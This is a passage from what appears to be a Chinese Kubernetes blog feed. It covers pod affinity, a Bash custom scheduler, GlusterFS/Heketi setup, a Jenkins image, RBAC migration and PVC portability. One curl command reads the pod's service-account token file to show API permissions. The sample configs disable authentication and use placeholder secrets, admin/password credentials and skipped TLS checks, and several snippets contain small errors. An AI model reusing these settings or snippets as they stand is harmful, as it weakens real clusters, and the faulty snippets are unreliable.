&lt;p&gt;Node 的亲和与互斥特性允许用户通过对 Pod 的定义来选择运行的 Node。但是还有一种需求就是，Pod 的相互关系，例如对同一个服务里面的 Pod 进行分布或者集中，或者和其他服务的 Pod 如何相处？Pod 的亲和与互斥就应运而生，这一特性在 Kubernetes 1.6 中也处于 Beta 阶段。&lt;/p&gt;

&lt;p&gt;看一个例子。假设有一个叫 S1 的前端服务，会经常和一个叫 S2 的后端服务进行通信（南北通信模式），所以我们希望这两个服务能够被安排在同一个云服务区域，但是我们也不想做手工选择——一旦某个区域出了问题，我们希望这些 Pod 能够再次迁移到同一个区域。这里就可以定义 Pod 亲和性来达成这一目的了（假设我们给两组服务都设置 Label，service=s1/s2）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
affinity:
    podAffinity:
      requiredDuringSchedulingIgnoredDuringExecution:
      - labelSelector:
          matchExpressions:
          - key: service
            operator: In
            values: [&amp;quot;S1&amp;quot;]
        topologyKey: failure-domain.beta.kubernetes.io/zone

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;和节点的亲和性类似，这里也有一个变量：&lt;code&gt;preferredDuringSchedulingIgnoredDuringExecution&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;Pod 的亲和性弹性很大。设想在性能测试的过程中，发现两个服务的容器处于同一个节点时，S1 的容器会干扰 S2 的容器的性能，这可能会是由缓存或者网络的拥堵造成的。或者出于安全考虑，我们不想两个服务共享同一个节点。要实现这种互斥操作，只要稍微改动一下哎上面的代码：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;podAffinity&lt;/code&gt; 改为 &lt;code&gt;podAntiAffinity&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;topologyKey&lt;/code&gt; 改为 &lt;code&gt;kubernetes.io/hostname&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;自定义调度&#34;&gt;自定义调度&lt;/h2&gt;

&lt;p&gt;如果 Kubernetes 调度器的众多特性还没能满足你的控制欲，可以用自己独立运行的调度器来对指定的 Pod 进行调度。在 Kubernetes 1.6 中，多调度器特性也进入了 Beta 阶段。&lt;/p&gt;

&lt;p&gt;一般情况下，每个新 Pod 都会由缺省调度器进行调度。但是如果 Pod 中提供了自定义的调度器名称，那么缺省调度器就会忽略该 Pod，转由指定的调度器把该 Pod 分配给节点。下面举例说明。&lt;/p&gt;

&lt;p&gt;代码中的 Pod 指定了&lt;code&gt;schedulerName&lt;/code&gt;字段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: v1
kind: Pod
metadata:
  name: nginx
  labels:
    app: nginx
spec:
  schedulerName: my-scheduler
  containers:
  - name: nginx
    image: nginx:1.10

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果我们在不部署自定义调度器的情况下，创建这个 Pod，缺省调度器会忽略这个 Pod，后果是他会在&lt;code&gt;Pending&lt;/code&gt;状态下停滞不前。所以我们需要为他创建一个&lt;code&gt;schedulerName&lt;/code&gt;值为&lt;code&gt;my-scheduler&lt;/code&gt;的调度器。&lt;/p&gt;

&lt;p&gt;可以用任何语言来实现简单或复杂的调度器。下面的简单例子是用 Bash 实现的——随机指派一个节点。注意首先要运行&lt;code&gt;kubectl proxy&lt;/code&gt;来支持这一脚本的运行。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/bash
SERVER=&#39;localhost:8001&#39;
while true;
do
    for PODNAME in $(kubectl --server $SERVER get pods -o json | jq &#39;.items[] | select(.spec.schedulerName == &amp;quot;my-scheduler&amp;quot;) | select(.spec.nodeName == null) | .metadata.name&#39; | tr -d &#39;&amp;quot;&#39;)
;
    do
        NODES=($(kubectl --server $SERVER get nodes -o json | jq &#39;.items[].metadata.name&#39; | tr -d &#39;&amp;quot;&#39;))
        NUMNODES=${#NODES[@]}
        CHOSEN=${NODES[$[ $RANDOM % $NUMNODES ]]}
        curl --header &amp;quot;Content-Type:application/json&amp;quot; --request POST --data &#39;{&amp;quot;apiVersion&amp;quot;:&amp;quot;v1&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;Binding&amp;quot;, &amp;quot;metadata&amp;quot;: {&amp;quot;name&amp;quot;: &amp;quot;&#39;$PODNAME&#39;&amp;quot;}, &amp;quot;target&amp;quot;: {&amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;, &amp;quot;kind&amp;quot;
: &amp;quot;Node&amp;quot;, &amp;quot;name&amp;quot;: &amp;quot;&#39;$CHOSEN&#39;&amp;quot;}}&#39; http://$SERVER/api/v1/namespaces/default/pods/$PODNAME/binding/
        echo &amp;quot;Assigned $PODNAME to $CHOSEN&amp;quot;
    done
    sleep 1
done

&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;更多&#34;&gt;更多&lt;/h2&gt;

&lt;p&gt;Kubernetes 1.6 的 release notes 中提供了更多的这些特性的相关信息，其中尤其包括了如果已经使用了 Alpha 版本如何进行升级的问题。&lt;/p&gt;

&lt;h2 id=&#34;鸣谢&#34;&gt;鸣谢&lt;/h2&gt;

&lt;p&gt;文中描写的功能，包括 Alpha 和 Beta 阶段的功能，都是社区中来自 Google、华为、IBM 以及 Red Hat 等公司的工程师的努力成果。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>GlusterFS &#43; Heketi 入门（非容器）</title>
      <link>/post/glusterfs-and-heketi-on-physical-server/</link>
      <pubDate>Wed, 19 Apr 2017 19:05:50 +0800</pubDate>
      <guid>/post/glusterfs-and-heketi-on-physical-server/</guid>
      <description>

&lt;p&gt;GlusterFS 是个开源的分布式文件系统，而 Heketi 在其上提供了 REST 形式的 API，二者协同为 Kubernetes 提供了存储卷的自动供给能力。&lt;/p&gt;

&lt;p&gt;一般对这个系统的介绍，都是基于 Docker 的容器内完成的，个人爱好原因，还不太习惯把这个事情放到集群里面，所以介绍一下用 Yum 方式的安装过程。&lt;/p&gt;

&lt;p&gt;我们使用三台服务器作为存储集群，操作系统为 CentOS 7。另外假设每台 Gluster FS 服务器挂在有名为 /dev/sdc 的裸设备，安装过程需要有互联网连接。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Heketi 服务器：10.211.55.31&lt;/li&gt;
&lt;li&gt;Gluster 服务器：

&lt;ul&gt;
&lt;li&gt;10.211.55.31&lt;/li&gt;
&lt;li&gt;10.211.55.32&lt;/li&gt;
&lt;li&gt;10.211.55.33&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;heketi-的安装和初始设置&#34;&gt;Heketi 的安装和初始设置&lt;/h2&gt;

&lt;p&gt;这个很简单，CentOS 的 EPEL Repository 中就提供了他的安装包。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;yum install -y heketi heketi-client
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装之后，会生成 Heketi 的 Service，建立 /etc/heketi，并在其中生成一个叫 heketi.json 的配置文件。这里提供一个样本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{
  &amp;quot;port&amp;quot;: &amp;quot;7070&amp;quot;,
  &amp;quot;use_auth&amp;quot;: false,
  &amp;quot;jwt&amp;quot;: {
    &amp;quot;admin&amp;quot;: {
      &amp;quot;key&amp;quot;: &amp;quot;My Secret&amp;quot;
    },
    &amp;quot;user&amp;quot;: {
      &amp;quot;key&amp;quot;: &amp;quot;My Secret&amp;quot;
    }
  },
  &amp;quot;glusterfs&amp;quot;: {
    &amp;quot;executor&amp;quot;: &amp;quot;ssh&amp;quot;,
    &amp;quot;sshexec&amp;quot;: {
      &amp;quot;keyfile&amp;quot;: &amp;quot;/etc/heketi/heketi_key&amp;quot;,
      &amp;quot;user&amp;quot;: &amp;quot;root&amp;quot;,
      &amp;quot;port&amp;quot;: &amp;quot;22&amp;quot;,
      &amp;quot;fstab&amp;quot;: &amp;quot;/etc/fstab&amp;quot;
    },
    &amp;quot;executor&amp;quot;: &amp;quot;ssh&amp;quot;,
    &amp;quot;db&amp;quot;: &amp;quot;/var/lib/heketi/heketi.db&amp;quot;,
    &amp;quot;loglevel&amp;quot;: &amp;quot;debug&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个简单的配置文件说明：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在 7070 提供服务。&lt;/li&gt;
&lt;li&gt;数据库保存在 &lt;code&gt;/var/lib/heketi/heketi.db&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;关闭认证&lt;/li&gt;
&lt;li&gt;利用 ssh 和 GlusterFS 集群成员进行通信&lt;/li&gt;
&lt;li&gt;ssh 证书保存在 /etc/heketi/heketi_key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;既然提到证书，就用 ssh-keygen 来生成一套：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh-keygen -t rsa -q -f /etc/heketi/heketi_key -N &#39;&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;后面将会使用这套证书来完成对 GlusterFS 的控制。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，这里要保证上面提到的&lt;strong&gt;数据库、配置以及证书文件&lt;/strong&gt;，一定要确认 Heketi 用户有权进行访问。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;glusterfs-安装&#34;&gt;GlusterFS 安装&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;启用仓库：&lt;code&gt;yum install -y centos-release-gluster&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;安装软件：&lt;code&gt;yum install -y glusterfs-server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用服务：&lt;code&gt;systemctl enable glusterfs-server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启动服务：&lt;code&gt;systemctl start glusterfs-server&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意这里要把上个步骤生成的公钥（heketi_key.pub）加入到本机的信任列表中，例如&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cat /tmp/heketi_key.pub &amp;gt;&amp;gt; /root/.ssh/authorized_key&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;集群初始化&#34;&gt;集群初始化&lt;/h2&gt;

&lt;p&gt;Heketi 对存储的拓扑结构是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;- Topology
    - Cluster a
        - Node a1
            - Device a11
            - Device a12
        - Node a2
    - Cluster b
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以初始化过程就按照从上到下的方式来进行：&lt;/p&gt;

&lt;h3 id=&#34;建立集群&#34;&gt;建立集群&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;heketi-cli create cluster&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;创建成功后，会显示一个集群 ID。&lt;/p&gt;

&lt;h3 id=&#34;加入-node&#34;&gt;加入 Node&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;heketi-cli node add --cluster=[clusterid] \
--management-host-name=[node-host] \
--storage-host-name=[node-host] \
--zone=1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行成功会显示新加入的 Node 的 Node ID。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Add Node 过程失败可能需要查看一下防火墙&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;加入-device&#34;&gt;加入 Device&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;heketi device add \
--name=/dev/sdc
--host=[host-id]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;自动一点&#34;&gt;自动一点&lt;/h3&gt;

&lt;p&gt;下面的脚本会把运行参数中指定的第一参数作为主机地址，第二参数作为设备名称加入第一个集群&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
export HEKETI_CLI_SERVER=http://127.0.0.1:7070
CLUSTER_ID=`heketi-cli cluster list | tail -n 1 | xargs `
CLUSTER=&amp;quot;--cluster=$CLUSTER_ID&amp;quot;
HOST=&amp;quot;--management-host-name=$1 --storage-host-name=$1&amp;quot;
ZONE=&amp;quot;--zone=1&amp;quot;
NODE_ID=`heketi-cli node add $CLUSTER $HOST $ZONE | grep -v -i &amp;quot;Cluster&amp;quot; | grep -i &amp;quot;id&amp;quot; | cut -d : -f 2 | xargs`
heketi-cli device add --name=$2 --node=$NODE_ID
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;命令需要用 &amp;lsquo;-s&amp;rsquo; 开关指定操作的 Heketi 服务地址。
可以用环境变量来简化一下： export HEKETI_CLI_SERVER=&amp;ldquo;&lt;a href=&#34;http://127.0.0.1:7070&amp;quot;。&#34; target=&#34;_blank&#34;&gt;http://127.0.0.1:7070&amp;quot;。&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;topology&#34;&gt;Topology&lt;/h2&gt;

&lt;p&gt;利用 &lt;code&gt;heketi-cli topology info&lt;/code&gt;，会输出当前的集群结构。而且也可以用 JSON 格式导入和导出整个 Topology。下面的例子供参考：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;volumes&amp;quot;: [],
    &amp;quot;nodes&amp;quot;: [{
      &amp;quot;zone&amp;quot;: 1,
      &amp;quot;hostnames&amp;quot;: {
        &amp;quot;manage&amp;quot;: [&amp;quot;10.211.55.19&amp;quot;],
        &amp;quot;storage&amp;quot;: [&amp;quot;10.211.55.19&amp;quot;]
      },
      &amp;quot;cluster&amp;quot;: &amp;quot;f6e6de7dc99ca3ed627e2ab3ae68f9ac&amp;quot;,
      &amp;quot;id&amp;quot;: &amp;quot;95d3d4fec82be4d2a55ae0aa17344af5&amp;quot;,
      &amp;quot;state&amp;quot;: &amp;quot;online&amp;quot;,
      &amp;quot;devices&amp;quot;: [{
        &amp;quot;name&amp;quot;: &amp;quot;/dev/sdc&amp;quot;,
        &amp;quot;storage&amp;quot;: {
          &amp;quot;total&amp;quot;: 33419264,
          &amp;quot;free&amp;quot;: 33419264,
          &amp;quot;used&amp;quot;: 0
        },
        &amp;quot;id&amp;quot;: &amp;quot;e4e1b97d38ed5ae70323458c1b8e57b5&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;online&amp;quot;,
        &amp;quot;bricks&amp;quot;: []
      }]
    }, {
      &amp;quot;zone&amp;quot;: 1,
      &amp;quot;hostnames&amp;quot;: {
        &amp;quot;manage&amp;quot;: [&amp;quot;10.211.55.21&amp;quot;],
        &amp;quot;storage&amp;quot;: [&amp;quot;10.211.55.21&amp;quot;]
      },
      &amp;quot;cluster&amp;quot;: &amp;quot;f6e6de7dc99ca3ed627e2ab3ae68f9ac&amp;quot;,
      &amp;quot;id&amp;quot;: &amp;quot;ab36d04dbface40904a05c33f3fd9800&amp;quot;,
      &amp;quot;state&amp;quot;: &amp;quot;online&amp;quot;,
      &amp;quot;devices&amp;quot;: [{
        &amp;quot;name&amp;quot;: &amp;quot;/dev/sdc&amp;quot;,
        &amp;quot;storage&amp;quot;: {
          &amp;quot;total&amp;quot;: 33419264,
          &amp;quot;free&amp;quot;: 33419264,
          &amp;quot;used&amp;quot;: 0
        },
        &amp;quot;id&amp;quot;: &amp;quot;a33dee6fd8355c6aa9ff5e2783ecef49&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;online&amp;quot;,
        &amp;quot;bricks&amp;quot;: []
      }]
    }, {
      &amp;quot;zone&amp;quot;: 1,
      &amp;quot;hostnames&amp;quot;: {
        &amp;quot;manage&amp;quot;: [&amp;quot;10.211.55.20&amp;quot;],
        &amp;quot;storage&amp;quot;: [&amp;quot;10.211.55.20&amp;quot;]
      },
      &amp;quot;cluster&amp;quot;: &amp;quot;f6e6de7dc99ca3ed627e2ab3ae68f9ac&amp;quot;,
      &amp;quot;id&amp;quot;: &amp;quot;bfd478cb0a0a562386c06967fb2b31bc&amp;quot;,
      &amp;quot;state&amp;quot;: &amp;quot;online&amp;quot;,
      &amp;quot;devices&amp;quot;: [{
        &amp;quot;name&amp;quot;: &amp;quot;/dev/sdc&amp;quot;,
        &amp;quot;storage&amp;quot;: {
          &amp;quot;total&amp;quot;: 33419264,
          &amp;quot;free&amp;quot;: 33419264,
          &amp;quot;used&amp;quot;: 0
        },
        &amp;quot;id&amp;quot;: &amp;quot;24c5a97ccad5b3fc35977bc7419c27ee&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;online&amp;quot;,
        &amp;quot;bricks&amp;quot;: []
      }]
    }],
    &amp;quot;id&amp;quot;: &amp;quot;f6e6de7dc99ca3ed627e2ab3ae68f9ac&amp;quot;
  }]
}
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>实用 Jenkins Docker 镜像</title>
      <link>/post/my-docker-image-for-jenkins/</link>
      <pubDate>Fri, 14 Apr 2017 23:09:13 +0800</pubDate>
      <guid>/post/my-docker-image-for-jenkins/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;Jenkins 跟 GKE 的 Load Balancer 不兼容怎么办？当然是选择原谅他啊。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;最近在玩 Google 的 Container Engine，发现 Jenkins 的安装过程的安全防护跟 GKE 的负载均衡器有点不和谐。要在启动初始化过程之前，完成对 CSRF 特性的调整。弄着弄着就收不住了，所以就有了对我那个 “要你命3000” Jenkins 镜像的一次大升级。&lt;/p&gt;

&lt;h2 id=&#34;主要功能&#34;&gt;主要功能&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;分为 Alpine 和 Ubuntu 两个基础版本。&lt;/li&gt;
&lt;li&gt;内嵌多种 CI/CD 相关工具，例如 git、robotframework with selinium、mvn、nodejs 等。&lt;/li&gt;
&lt;li&gt;可越过初始化过程，直接指定既有的 config.xml。&lt;/li&gt;
&lt;li&gt;可定制的初始化 Groovy 脚本。&lt;/li&gt;
&lt;li&gt;可直接设置一号用户的用户 ID 和密码。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;更重要的功能&#34;&gt;更重要的功能&lt;/h2&gt;

&lt;p&gt;这一版加入了一个神奇的脚本：&lt;code&gt;install-plugins.sh&lt;/code&gt;，这一脚本能够自动安装指定插件极其依赖，配合上面的自定义 Groovy 脚本和 config.xml 功能。就方便的打造符合个人口味的、开箱即用的 Jenkins 镜像了，例如加入 git 支持，只需 &lt;code&gt;install-plugins.sh git&lt;/code&gt; 即可。下面的 Dockerfile 会建立一个带有 docker-build-step 和 git 支持的，用户名密码分别为 &amp;lsquo;admin&amp;rsquo; 和 &amp;lsquo;password&amp;rsquo; 的镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM dustise/jenkins
RUN install-plugins.sh git
RUN install-plugins.sh docker-build-step
ENV ADMIN_USER=&amp;quot;admin&amp;quot;
ENV ADMIN_PASSWORD=&amp;quot;password&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/fleeto/docker-jenkins&#34; target=&#34;_blank&#34;&gt;Github 项目地址&lt;/a&gt;或者用下面的命令直接运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;docker run -it -p 3001:8080 --rm
-e ADMIN_PASSWORD=&amp;quot;MY_PaSS_W0rd&amp;quot;
-e ADMIN_USER=&amp;quot;administrator&amp;quot;
--name=jenkins
dustise/jenkins:latest
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的 RBAC 支持</title>
      <link>/post/rbac-in-kubernetes/</link>
      <pubDate>Sun, 09 Apr 2017 08:29:17 +0800</pubDate>
      <guid>/post/rbac-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2017/04/rbac-support-in-kubernetes&#34; target=&#34;_blank&#34;&gt;RBAC Support in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;rbac-vs-abac&#34;&gt;RBAC vs ABAC&lt;/h2&gt;

&lt;p&gt;目前 Kubernetes 中有一系列的&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/&#34; target=&#34;_blank&#34;&gt;鉴权机制&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;鉴权的作用是，决定一个用户是否有权使用 Kubernetes API 做某些事情。它除了会影响 kubectl 等组件之外，还会对一些运行在集群内部并对集群进行操作的软件产生作用，例如使用了 Kubernetes 插件的 Jenkins，或者是利用 Kubernetes API 进行软件部署的 Helm。ABAC 和 RBAC 都能够对访问策略进行配置。&lt;/p&gt;

&lt;p&gt;ABAC（Attribute Based Access Control）本来是不错的概念，但是在 Kubernetes 中的实现比较难于管理和理解（怪我咯），而且需要对 Master 所在节点的 SSH 和文件系统权限，而且要使得对授权的变更成功生效，还需要重新启动 API Server。&lt;/p&gt;

&lt;p&gt;而 RBAC 的授权策略可以利用 kubectl 或者 Kubernetes API 直接进行配置。RBAC 可以授权给用户，让用户有权进行授权管理，这样就可以无需接触节点，直接进行授权管理。RBAC 在 Kubernetes 中被映射为 API 资源和操作。&lt;/p&gt;

&lt;p&gt;因为 Kubernetes 社区的投入和偏好，相对于 ABAC 而言，RBAC 是更好的选择。&lt;/p&gt;

&lt;h2 id=&#34;基础概念&#34;&gt;基础概念&lt;/h2&gt;

&lt;p&gt;需要理解 RBAC 一些基础的概念和思路，RBAC 是让用户能够访问 Kubernetes API 资源的授权方式。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rbac-1.png&#34; alt=&#34;rbac 1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 RBAC 中定义了两个对象，用于描述在用户和资源之间的连接权限。&lt;/p&gt;

&lt;h3 id=&#34;角色&#34;&gt;角色&lt;/h3&gt;

&lt;p&gt;角色是一系列的权限的集合，例如一个角色可以包含读取 Pod 的权限和列出 Pod 的权限， ClusterRole 跟 Role 类似，但是可以在集群中到处使用（ Role 是 namespace 一级的）。&lt;/p&gt;

&lt;h3 id=&#34;角色绑定&#34;&gt;角色绑定&lt;/h3&gt;

&lt;p&gt;RoleBinding 把角色映射到用户，从而让这些用户继承角色在 namespace 中的权限。ClusterRoleBinding 让用户继承 ClusterRole 在整个集群中的权限。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rbac-2.png&#34; alt=&#34;rbac 2&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/#rolebinding-and-clusterrolebinding&#34; target=&#34;_blank&#34;&gt;关于 RoleBinding 和 ClusterRoleBinding&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;kubernetes-中的-rbac&#34;&gt;Kubernetes 中的 RBAC&lt;/h2&gt;

&lt;p&gt;RBAC 现在被 Kubernetes 深度集成，并使用他给系统组件进行授权。系统角色 (System Roles) 一般具有前缀&lt;code&gt;system:&lt;/code&gt;，很容易识别：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;➜  kubectl get clusterroles --namespace=kube-system
NAME                    KIND
admin                   ClusterRole.v1beta1.rbac.authorization.k8s.io
cluster-admin           ClusterRole.v1beta1.rbac.authorization.k8s.io
edit                    ClusterRole.v1beta1.rbac.authorization.k8s.io
kubelet-api-admin       ClusterRole.v1beta1.rbac.authorization.k8s.io
system:auth-delegator   ClusterRole.v1beta1.rbac.authorization.k8s.io
system:basic-user       ClusterRole.v1beta1.rbac.authorization.k8s.io
system:controller:attachdetach-controller ClusterRole.v1beta1.rbac.authorization.k8s.io
system:controller:certificate-controller ClusterRole.v1beta1.rbac.authorization.k8s.io
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;RBAC 系统角色已经完成足够的覆盖，让集群可以完全在 RBAC 的管理下运行。&lt;/p&gt;

&lt;p&gt;在 ABAC 到 RBAC 进行迁移的过程中，有些在 ABAC 集群中缺省开放的权限，在 RBAC 中会被视为不必要的授权，会对其进行降级。这种情况会影响到使用 Service Account 的负载。ABAC 配置中，从 Pod 中发出的请求会使用 Pod Token，API Server 会为其授予较高权限。例如下面的命令在 APAC 集群中会返回 JSON 结果，而在 RBAC 的情况下则会返回错误。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;➜  kubectl run nginx --image=nginx:latest
➜  kubectl exec -it $(kubectl get pods -o jsonpath=&#39;{.items[0].metadata.name}&#39;) bash
➜  apt-get update &amp;amp;&amp;amp; apt-get install -y curl
➜  curl -ik \
-H &amp;quot;Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)&amp;quot; \
https://kubernetes/api/v1/namespaces/default/pods
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/#upgrading-from-15&#34; target=&#34;_blank&#34;&gt;降级过程的说明&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所有在 Kubernetes 集群中运行的应用，一旦和 API Server 进行通信，都会有可能受到迁移的影响。&lt;/p&gt;

&lt;p&gt;要平滑的从 ABAC 升级到 RBAC，在创建 1.6 集群的时候，可以同时启用 ABAC 和 RBAC。当他们同时启用的时候，对一个资源的权限请求，在任何一方获得放行都会获得批准。然而在这种配置下的权限太过粗放，很可能无法在单纯的 RBAC 环境下工作。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/#parallel-authorizers&#34; target=&#34;_blank&#34;&gt;RBAC 和 ABAC 同时运行&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在 Google Cloud Next 上的两次讲话提到了 Kubernetes 1.6 中的 RBAC。要获得更详细的信息，请阅读 RBAC 文档。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;https://www.youtube.com/watch?v=Cd4JU7qzYbE#t=8m01s&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://www.youtube.com/watch?v=18P7cFc6nTU#t=41m06s&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://kubernetes.io/docs/admin/authorization/rbac/&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>编写易移植的 PVC</title>
      <link>/post/portable-pvc/</link>
      <pubDate>Fri, 31 Mar 2017 06:33:10 +0800</pubDate>
      <guid>/post/portable-pvc/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/persistent-volumes/#writing-portable-configuration&#34; target=&#34;_blank&#34;&gt;Writing Portable Configuration&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果你在编写配置模板或者是一个可能在很多不同集群下运行的配置，要在其中包含持久存储，我们提供一些建议：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在配置包含 PVC 对象（和 Deployments、COnfigMap 等并列）。&lt;/li&gt;
&lt;li&gt;考虑到可能的权限限制，建议不要包含 PV 对象&lt;/li&gt;
&lt;li&gt;编写模板的话，建议给用户指定 Storage Class 的选项：

&lt;ul&gt;
&lt;li&gt;如果用户提供了一个 Storage Class，并且集群版本在 1.4 以上，把这个 Storage Class Name 放入 PVC 的 &lt;code&gt;volume.beta.kubernetes.io/storage-class&lt;/code&gt; 标注之中，如果集群中启用了指定的 Storage Class，PVC 就会成功匹配到相应资源。&lt;/li&gt;
&lt;li&gt;如果用户没有提供 Storage Class，或者集群版本为 1.3，那么就在 PVC 中添加 &lt;code&gt;volume.alpha.kubernetes.io/storage-class: default&lt;/code&gt; 标注。&lt;/li&gt;
&lt;li&gt;PV 会自动在集群中为用户提供平台指定的缺省 PV。&lt;/li&gt;
&lt;li&gt;虽然字面上是 alpha，但实际上提供的是 beta 级别的支持。&lt;/li&gt;
&lt;li&gt;不要使用&lt;code&gt;volume.beta.kubernetes.io/storage-class&lt;/code&gt;，任何值包括空字符串，都会阻止 DefaultStorageClass 控制的运行。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果 PVC 创建一段时间之后，还没能绑定，需要把这一信息呈现给用户，因为这可能是因为这个集群没有动态存储供给的支持（这种情况下，需要创建符合 PVC 要求的 PV），或者个集群没有存储系统（这种情况下就无法运行指定的 PVC 了）。&lt;/li&gt;
&lt;li&gt;未来我们希望让多数集群具备 DefaultStorageClass，并有提供某种可用的存储。然而，让一种 Storage Class 适应所有的集群是很难的，所以还是不建议直接在 PVC 中设置缺省的 Storage Class。Alpha 标注会在未来失效，但那时候未进行设置的 storageClass 字段就会实现期望的功能了（1.6）。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Helm 简介</title>
      <link>/post/helm-introducing/</link>
      <pubDate>Thu, 30 Mar 2017 08:47:48 +0800</pubDate>
      <guid>/post/helm-introducing/</guid>
      <description>

&lt;h2 id=&#34;概念&#34;&gt;概念&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Chart：一个 Helm 包，其中包含了运行一个应用所需要的工具、资源定义等，还可能包含 Kubernetes 集群中的服务定义，类似 Homebrew 中的 formula，APT 的 dpkg 或者 Yum 的 RPM 文件，&lt;/li&gt;
